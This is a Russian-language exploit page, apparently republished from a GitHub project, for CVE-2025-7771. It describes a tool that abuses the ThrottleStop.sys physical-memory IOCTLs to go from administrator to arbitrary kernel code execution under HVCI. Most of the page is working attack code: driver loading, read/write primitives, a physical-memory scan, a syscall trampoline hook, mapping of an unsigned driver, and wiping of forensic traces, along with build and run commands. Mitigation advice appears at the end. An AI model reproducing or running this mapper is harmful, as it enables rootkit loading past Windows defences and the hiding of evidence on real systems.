## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D4RKKS-CVE-2025-7771-VULNERABILITY-EXPLORATION
# 🔓 Эксплойт ядра ThrottleStop.sys — Маппер физической памяти, совместимый с HVCI
> **CVE-2025-7771** — Произвольное чтение/запись физической памяти через IOCTL драйвера ThrottleStop.sys
## ⚠️ Отказ от ответственности
Данный проект опубликован **только в образовательных и исследовательских целях**. Цель — продемонстрировать, как подписанный, доверенный драйвер ядра может быть использован для локального повышения привилегий (LPE) от Администратора до **SYSTEM/Ядра** , эффективно обходя современные функции безопасности Windows, включая **HVCI (Целостность кода, контролируемая гипервизором)** и **Secure Boot**.
**Не используйте этот инструмент в злонамеренных целях.** Автор не несет ответственности за любое неправомерное использование.
* * *
## 📋 Содержание
* Краткое описание уязвимости
* Затронутое ПО
* Технический анализ
* Уязвимые IOCTL
* Корневая причина
* Цепочка эксплуатации
* Шаг 1 — Загрузка уязвимого драйвера
* Шаг 2 — Примитивы физической памяти
* Шаг 3 — Поиск страницы системных вызовов
* Шаг 4 — Перехват системных вызовов через запись в физическую память
* Шаг 5 — Произвольное выполнение кода ядра
* Шаг 6 — Криминалистическая очистка
* Почему это обходит HVCI
* Оценка воздействия
* Сборка и использование
* Рекомендации по устранению
* Ссылки
* * *
## Краткое описание уязвимости
* * *
## Затронутое ПО
* **ThrottleStop** — все версии, поставляющие `ThrottleStop.sys` с IOCTL для отображения физической памяти
* **Windows 10** 1903 – 22H2 (x64)
* **Windows 11** 21H2 – 24H2 (x64), включая сборки с **включенным HVCI**
* Проверено на: Windows 11 26100.x (24H2) с Secure Boot + HVCI
* * *
## Технический анализ
### Уязвимые IOCTL
Драйвер ядра `ThrottleStop.sys` предоставляет устройство (`\\.\ThrottleStop`), доступное любому локальному администратору. Он реализует два IOCTL, которые обеспечивают **неограниченный доступ к физической памяти** :
root@kitploit:~
#define IOCTL_TS_READ_PHYS 0x80006498 // Чтение произвольного физического адреса
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Запись по произвольному физическому адресу
#### Чтение физической памяти (`0x80006498`)
root@kitploit:~
Вход: ULONG64 PhysicalAddress (8 байт)
Выход: Буфер данных (1–8 байт за вызов, определяется OutputBufferLength)
Драйвер вызывает `MmMapIoSpace()`, чтобы отобразить запрошенный физический адрес в виртуальное пространство ядра, копирует данные в выходной буфер, затем вызывает `MmUnmapIoSpace()`. **Никакой проверки** физического адреса не выполняется — можно прочитать любой адрес в физическом адресном пространстве.
#### Запись физической памяти (`0x8000649C`)
root@kitploit:~
Вход: ULONG64 PhysicalAddress (8 байт) + Данные (1–8 байт)
InputBufferLength = 8 + DataSize
Выход: Нет
Тот же механизм, что и при чтении, но записывает предоставленные пользователем данные по отображенному физическому адресу. Опять же, **никакой проверки адреса или диапазона**.
### Корневая причина
Драйвер был разработан, чтобы позволить ThrottleStop (утилите для андервольтинга/троттлинга ЦП) напрямую читать/записывать MSR и аппаратные регистры. IOCTL для физической памяти, вероятно, были добавлены для доступа MMIO к конфигурационному пространству PCI или тепловым датчикам ЦП, но реализация выполняет **нулевую проверку границ** :
1. ❌ Нет проверки, принадлежит ли физический адрес MMIO или ОЗУ
2. ❌ Нет проверки, находится ли адрес в пределах предполагаемой области памяти вызывающего
3. ❌ Нет ограничений ACL, кроме требования дескриптора с `GENERIC_READ | GENERIC_WRITE`
4. ❌ Нет белого списка разрешенных диапазонов физических адресов
Это превращает легитимный драйвер аппаратной утилиты в **полноценный примитив чтения/записи на уровне ядра**.
* * *
## Цепочка эксплуатации
Цепочка эксплуатации повышает привилегии от локальной учетной записи Администратора до **произвольного выполнения кода ядра** , фактически достигая контроля ring-0 на уровне SYSTEM.
### Шаг 1 — Загрузка уязвимого драйвера
Маппер помещает `ThrottleStop.sys` в `%TEMP%`, создает запись службы в реестре по пути `HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop` и загружает его через `NtLoadDriver()`:
root@kitploit:~
// Включение привилегии SeLoadDriverPrivilege для текущего процесса
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Создание записи службы, указывающей на размещенный .sys файл
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Загрузка через NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Открытие дескриптора устройства
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
> **Примечание:** Поскольку ThrottleStop.sys легитимно подписан, он загружается даже при **включенном HVCI/Secure Boot**. Политика CI Windows доверяет сертификату.
### Шаг 2 — Примитивы физической памяти
Имея дескриптор устройства, эксплойт может читать/записывать **любой физический адрес** в системе:
root@kitploit:~
// Чтение 8 байт из физического адреса 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Запись 8 байт по физическому адресу
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // адрес
*(ULONGLONG*)(input + 8) = shellcode_qword; // данные
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
Эксплойт оборачивает это во вспомогательные функции, которые обрабатывают фрагментированные чтения/записи (1, 2, 4 или 8 байт за вызов) для передачи произвольной длины.
### Шаг 3 — Поиск страницы системных вызовов
Чтобы выполнять произвольные функции ядра, эксплойту необходимо найти **физический адрес** обработчика системного вызова ядра. Он нацеливается на `NtSetEaFile` (редко отслеживаемый системный вызов):
1. **Вычисление RVA** : Загрузите `ntoskrnl.exe` в пользовательском режиме через `LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)`, получите RVA `NtSetEaFile`
2. **Вычисление смещения** : Поскольку ntoskrnl отображается с **большими страницами 2MB** , физическое смещение функции внутри страницы 2MB = `RVA & 0x1FFFFF`
3. **Сканирование физической памяти** : Перечислите диапазоны физической памяти из реестра (`HARDWARE\RESOURCEMAP\System Resources\Physical Memory`), шаг по 2MB и сравнение байтов:
root@kitploit:~
for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // быстрая проверка
{
read_phys(candidate_pa, verify, 32); // полная проверка
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // найдено!
// ... проверка через PsGetProcessSectionBaseAddress
}
}
}
4. **Проверка** : Вызовите перехваченный системный вызов для вызова `PsGetProcessSectionBaseAddress(current_pid)` и убедитесь, что возвращенная база соответствует `GetModuleHandle(NULL)`.
### Шаг 4 — Перехват системных вызовов через запись в физическую память
Как только физический адрес `NtSetEaFile` известен, эксплойт устанавливает **12-байтовый трамплин** непосредственно через записи в физическую память:
root@kitploit:~
; Исходные байты NtSetEaFile (сохранены для восстановления)
; Заменены на:
mov rax, <target_kernel_address> ; 48 B8 <8-байтовое imm64>
push rax ; 50
ret ; C3
root@kitploit:~
// Установка хука
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <целевой адрес>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Триггер из пользовательского режима
NtSetEaFile(args...); // → переходит к target_function в ядре!
// Восстановление исходных байтов
write_phys(syscall_phys_addr, saved_bytes, 12);
> **Ключевая идея:** Запись в **физическую** страницу обходит защиты виртуальной памяти HVCI. HVCI предотвращает страницы `W+X` в виртуальной памяти, но записи в физическую память через `MmMapIoSpace` в драйвере идут непосредственно в ОЗУ.
### Шаг 5 — Произвольное выполнение кода ядра
С помощью примитива перехвата системного вызова эксплойт может вызывать **любую функцию ядра** с произвольными аргументами:
root@kitploit:~
// Выделение исполняемой памяти ядра (совместимо с HVCI)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Копирование образа драйвера в пул ядра через RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Вызов DriverEntry драйвера
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
Это фактически **отображает и выполняет неподписанный драйвер** в пространстве ядра — полное повышение привилегий.
### Шаг 6 — Криминалистическая очистка
После загрузки полезной нагрузки эксплойт удаляет все следы:
* * *
## Почему это обходит HVCI
**HVCI (Целостность кода, контролируемая гипервизором)** предотвращает выполнение неподписанного кода в пространстве ядра, применяя W^X (Write XOR Execute) для виртуальных страниц ядра через трансляцию адресов второго уровня (SLAT/EPT).
Этот эксплойт обходит HVCI, потому что:
1. **Легитимный драйвер:** `ThrottleStop.sys` правильно подписан и проходит проверку CI, поэтому он загружается нормально, даже когда HVCI активен.
2. **Физический, а не виртуальный:** IOCTL используют `MmMapIoSpace()`, который работает с физическими адресами. Защита HVCI применяется на уровне таблицы виртуальных страниц и через EPT, но `MmMapIoSpace` создает новое виртуальное отображение для физической страницы с соответствующими разрешениями. Запись на физическую страницу системного вызова изменяет содержимое ОЗУ, на которое уже указывает существующее виртуальное отображение.
3. **Исполняемый пул:** Эксплойт выделяет память через `ExAllocatePool2` с флагом `POOL_FLAG_NON_PAGED_EXECUTE`, что является **легитимным, одобренным HVCI** способом получения исполняемой памяти ядра. Само ядро использует это для JIT-скомпилированного кода и некоторых выделений пулов.
4. **Отсутствие загрузки неподписанного драйвера:** Маппер никогда не вызывает `NtLoadDriver` с неподписанным образом. Вместо этого он вручную записывает полезную нагрузку в уже исполняемое выделение пула ядра и вызывает ее точку входа через перехват системного вызова.
root@kitploit:~
┌─────────────────────────────────────────────┐
│ Пользовательский режим (Админ) │
│ │
│ 1. Загрузить ThrottleStop.sys (подписан, │
│ доверенный) │
│ 2. Открыть устройство \\.\ThrottleStop │
│ 3. Чтение/запись физической памяти через │
│ IOCTL │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Ядро) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ Без проверки, любой физический адрес OK │
└──────────────┬──────────────────────────────┘
│ Запись в физическую память
▼
┌─────────────────────────────────────────────┐
│ Физическая страница NtSetEaFile │
│ │
│ Исходные байты перезаписаны: │
│ mov rax, <полезная нагрузка>; push rax; │
│ ret │
│ │
│ → Любой вызов NtSetEaFile() из │
│ пользовательского режима теперь │
│ выполняет произвольный код ядра │
└──────────────┬──────────────────────────────┘
│ Выполнение кода ядра
▼
┌─────────────────────────────────────────────┐
│ Полный компрометация ядра │
│ │
│ • ExAllocatePool2 (исполняемый пул) │
│ • Отображение неподписанного драйвера в │
│ память ядра │
│ • Вызов DriverEntry → доступ на уровне │
│ SYSTEM │
│ • Удаление всех криминалистических │
│ артефактов │
└─────────────────────────────────────────────┘
* * *
## Оценка воздействия
* * *
## Сборка и использование
### Требования
* Visual Studio 2022 с рабочей нагрузкой C++ Desktop
* Windows SDK 10.0.26100.0+
* Права администратора на целевой системе
### Сборка
root@kitploit:~
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Откройте imxyviMapper.sln в Visual Studio
# Сборка → x64 Release
### Запуск
root@kitploit:~
# Базовое использование — автоматическое сканирование физической памяти для поиска страницы системных вызовов
mapper.exe payload_driver.sys
# С предварительно вычисленным CR3 ядра (быстрее, пропускает сканирование)
mapper.exe payload_driver.sys 1AD000
### Вывод
root@kitploit:~
[+] Драйвер: 45056 байт
[*] Разбор PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Загрузка уязвимого драйвера...
[+] Драйвер загружен, дескриптор=0x0000000000000094
[+] IOCTL OK
[*] Поиск страницы системных вызовов...
[+] Страница системных вызовов найдена
[*] Исправление импортов...
[*] Выделение исполняемого пула ядра (49152 байт)...
[+] Пул выделен по адресу: FFFFA40B7C8E0000
[*] Запись драйвера в ядро...
[*] Вызов точки входа по адресу 0xFFFFA40B7C8E3040...
[+] Точка входа вернула управление
[*] Очистка MmUnloadedDrivers...
[+] MmUnloadedDrivers успешно очищен
[*] Выгрузка уязвимого драйвера...
[+] Готово
* * *
## Рекомендации по устранению
### Для Microsoft/Windows
1. **Блок-лист драйверов:** Добавьте хеши `ThrottleStop.sys` в Блок-лист уязвимых драйверов Microsoft
2. **Улучшение HVCI:** Блокируйте вызовы `MmMapIoSpace`, которые направлены на физические адреса, относящиеся к ОЗУ, от драйверов, не входящих в белый список
3. **Аудит IOCTL:** Помечайте драйверы, которые открывают примитивы работы с физической памятью, во время сертификации WHQL
### Для разработчика ThrottleStop
1. **Удалите IOCTL физической памяти** — используйте IOCTL, специфичные для MSR (`rdmsr`/`wrmsr`), вместо сырого `MmMapIoSpace`
2. **Реализуйте белый список адресов** — ограничьте `MmMapIoSpace` известными диапазонами MMIO (области PCI BAR, LAPIC и т.д.)
3. **Добавьте ограничения ACL** — ограничьте доступ к устройству SID токена приложения ThrottleStop
### Для системных администраторов
1. **Политика WDAC:** Создайте настраиваемую политику Windows Defender Application Control (WDAC), которая блокирует `ThrottleStop.sys` по хешу
2. **Мониторинг загрузки драйверов:** Оповещайте о необычной загрузке драйверов ядра через Sysmon Event ID 6
3. **Удалите ThrottleStop** , если он не требуется активно для управления ЦП
* * *
## 🏆 Благодарности и признание
* * *
## Ссылки
* **Demoo1337/ThrottleStop — CVE-2025-7771 PoC** — Первоначальное исследование уязвимости и эксплойт
* physmeme — Фреймворк для эксплуатации физической памяти (Лицензия MIT, xerox/IDontCode)
* kdmapper — Маппер драйверов ядра
* Блок-лист уязвимых драйверов Microsoft
* Обзор дизайна HVCI — Microsoft
* MmMapIoSpace — Документация Microsoft
* * *
## Лицензия
Этот проект выпущен под **лицензией MIT** для образовательных исследовательских целей. Нижележащий фреймворк `physmeme` защищен авторским правом © 2020 xerox (лицензия MIT).
* * *
> **🔬 Ответственное раскрытие:** Эта уязвимость была обнаружена **Demoo1337** и раскрыта вендору. Этот репозиторий служит документацией для сообщества исследователей безопасности.